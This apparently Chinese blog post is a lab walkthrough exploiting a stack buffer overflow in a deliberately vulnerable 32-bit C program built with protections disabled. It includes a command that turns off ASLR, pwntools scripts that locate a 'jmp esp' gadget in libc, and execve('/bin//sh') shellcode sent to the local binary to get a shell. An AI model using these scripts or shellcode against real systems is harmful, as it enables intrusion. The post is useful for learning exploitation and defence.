美文网首页
1_无安全机制_32

1_无安全机制_32

作者: Zero_0_0 | 来源:发表于2019-04-17 18:03 被阅读0次

源码

#include <stdio.h>
#include <string.h>

void vul(char *msg)
{
    char buffer[64];
    strcpy(buffer,msg);
    return;
}

int main()
{
    puts("So plz give me your shellcode:");
    char buffer[256];
    memset(buffer,0,256);
    read(0,buffer,256);
    vul(buffer);
    return 0;
}

编译:gcc -m32 -no-pie -fno-stack-protector -z execstack -o no no.c

查看开启的安全机制

最好加一条命令关闭系统的的地址随机化:

首先确认系统中ASLR是否打开,cat /proc/sys/kernel/randomize_va_space
如果结果为2,则ASLR开启。

echo 0 > /proc/sys/kernel/randomize_va_space

需要补充一个gdb和gdb-peda切换的命令:

echo "source ~/.GdbPlugins/gef/gef.py" > ~/.gdbinit

echo "source ~/peda/peda.py" >> ~/.gdbinit
调试

先gdb no 运行
先断点
在asm命令窗口r 然后单步进入 ni
找到我们关键的函数点,看看我们漏洞函数


先了解一下这个图:

我们可以构造 buffer = 填充字符 + jmp_esp_addr +shellcode
脚本跑出来jmp_esp

from pwn import *

libc = ELF('/lib32/libc.so.6')                                #文件
jmp_esp = asm('jmp esp')                                      #jmp esp汇编指令的操作数

jmp_esp_addr_in_libc = libc.search(jmp_esp).next()            #搜索

print hex(jmp_esp_addr_in_libc)                               #打印

我们只得到了jmp_esp的偏移地址 我们需要知道libc的头

jmp_esp_addr = jmp_esp_offset +libc_base

echo "source ~/peda/peda.py" >> ~/.gdbinit


buffer_start= 0xffffd450
图片.png
buffer_end = 0xffffd49c

图片.png

补充:jmp_esp_addr (暂时没有找到,直接泄露地址的方法)

from pwn import*

libc = ELF("libc.so.6")

jmp_esp =asm('jmp esp')

jmp_esp_addr = libc.search(jmp_esp).next()



print hex(jmp_esp_addr)

Text.1

from pwn import *

p = process('./no')
p.recvuntil("shellcode:")

libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')

jmp_esp_addr_offset = libc.search(jmp_esp).next()

if jmp_esp_addr_offset is None:
    print 'Cannot find jmp_esp in libc'
else:       
    print hex(jmp_esp_addr_offset) 

libc_base = 0xf7e06000         
jmp_esp_addr = libc_base + jmp_esp_addr_offset

print hex(jmp_esp_addr)
    
buf = 'A'*76 
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
    
with open('poc','wb') as f:
    f.write(buf)

    

p.sendline(buf)                  
p.interactive()
图片.png
Text.2
from pwn import*

p = process('./no')
p.recvuntil("shellcode:")

jmp_esp_addr_offset = 0x2aa9
libc_base = 0xf7e06000
jmp_esp_addr =jmp_esp_addr_offset + libc_base

            
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80'
            
           

              
      
playload = 'A'*76 +p32(jmp_esp_addr) +shellcode


with open('poc','wb') as f:
    f.write(playload)

p.sendline(playload) 
    
p.interactive() 
图片.png

文章更新.7_13

检查安全机制
图片.png
分析漏洞点
将生成的文件放入IDA里面。 图片.png 会造成溢出,因为strcpy函数在拷贝的时候超出了,我们的栈的大小。 0x48(栈大小),我们还需要覆盖EBP 图片.png
编写脚本

思路:
1.刚开始接触这个题,首先想到的往栈里面填入数据,然后进行调用这个数据(shellcode)
2.要是有一个输入函数和一个输出函数,我们可以通过泄露libc-base,得到system和bin/sh的地址。 -->在libc里面 (x)
注:因为什么机制都没开启,最好用的就是填充数据,然后跳转到我们的shellcode

#!/usr/bin/env pwthon
#coding=utf-8
from pwn import*
context.log_level= "debug"

local = 1
if local:
    p = process("./pwn")
    elf = ELF("./pwn")
    libc = ELF("./libc.so.6")
else:
    p = remote("")

#-----------获取jmp_esp---------------------
libc_base = 0xf7e02000
jmp_esp = asm('jmp esp')
jmp_esp_offset = libc.search(jmp_esp).next()
print ("[----->jmp_esp_addr]= ") +hex(jmp_esp_offset)

jmp_esp_addr = libc_base + jmp_esp_offset
#-----------获取shellcode-------------------
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
#-------------------------------------------
offset = 76  #(72+4)
payload = "A" * offset
payload += p32(jmp_esp_addr)
payload += shellcode

p.sendline(payload)
p.interactive()

相关文章

  • 1_无安全机制_32

    源码 编译:gcc -m32 -no-pie -fno-stack-protector -z execstack ...

  • 1_无安全机制_64

    64位ubuntu编译 -m32 报错:https://www.cnblogs.com/mliudong/p/40...

  • 10_cgpwn2

    1.检查安全防护机制 32位 2.关键字查找 EXP

  • 【CoinWallet晚报】- PeckShield: 竞猜类D

    Part 1_区块链&加密货币 PeckShield: 竞猜类DApp链上随机数机制存在根本缺陷 在谈到为何EOS...

  • CAS机制和ABA问题

    CAS无锁机制实现线程安全原理https://www.cnblogs.com/myopensource/p/817...

  • 摘要

    监狱安全管理的机制,由领导责任机制,安全防控机制,隐患排除机制,应急处置机制,狱情搜集机制组成。领导责任机制,坚持...

  • Android源码学习笔记1_消息机制Handler

    Android源码学习笔记1_消息机制Handler 由于以后以后要从事安卓系统方面的工作,然而本人半个月前还是A...

  • 八、API安全机制-数据库层安全策略

    源码下载 一、API安全机制-数据库层安全策略API安全机制.png 在前面说的API安全机制包含业务逻辑外(流控...

  • 晨间日记day1

    晨间日记 ___2019_年___1_月__6__日 天气:阴 节日:无 生日/ 纪念日:无 起床:8点20 就寝...

  • 四、API安全机制-认证

    源码下载 一、API安全机制-认证API安全机制.png 认证过滤器

网友评论

      本文标题:1_无安全机制_32

      本文链接:https://www.haomeiwen.com/subject/watowqtx.html